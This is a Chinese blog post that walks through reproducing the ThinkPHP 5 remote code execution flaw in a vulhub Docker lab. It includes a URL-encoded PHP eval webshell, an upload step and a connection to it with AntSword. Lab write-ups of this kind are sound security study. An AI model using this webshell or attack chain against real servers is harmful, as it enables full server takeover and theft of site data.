漏洞介绍
ThinkPHP是国内使用极为广泛的PHP开发框架。由于框架处理控制器名称不正确,如果网站未启用强制路由(这是默认设置),它可以执行任何方法,从而导致 RCE 漏洞。
影响版本:Thinkphp5 5.0.22/5.1.29
漏洞复现
环境搭建
这里是使用Ubuntu虚拟机基于vulhub漏洞集成环境生成靶场
进入 Vulhub 对应的漏洞路径下:cd /vulhub/thinkphp/5-rce
执行命令docker-compose up -d编译并运行靶场容器:
通过局域网内 Win 10 物理机访问http://your-ip:8080,可以看到ThinkPHP的默认页面:
到此漏洞环境就搭建完成了(docker就是这么高效)
2.漏洞利用
Poc1
直接拼接在your-id:8080后面,访问就会出现phpinfo页面:
Poc2
直接拼接在your-id:8080后面,就会看到页面回显出执行id指令的信息:
在此处发现了文件上传的点,接下来进行webshell文件的上传。
首先我们先将一句话木马进行url编码:
编码结果:%3C%3Fphp%20%40eval(%24_POST%7B2333%7D)%20%3B%3F%3E
我们将此编码拼接在上面提到的id位置,进行文件上传,看到网页出现回显:
证明webshell文件上传成功。
3.webshell连接
利用中国蚁剑进行连接:
输入上传webshell所在的url地址,还有一句话木马里面包含的密码。
连接成功,可以看到网站的目录:
来源地址:https://blog.csdn.net/m0_52701599/article/details/129646523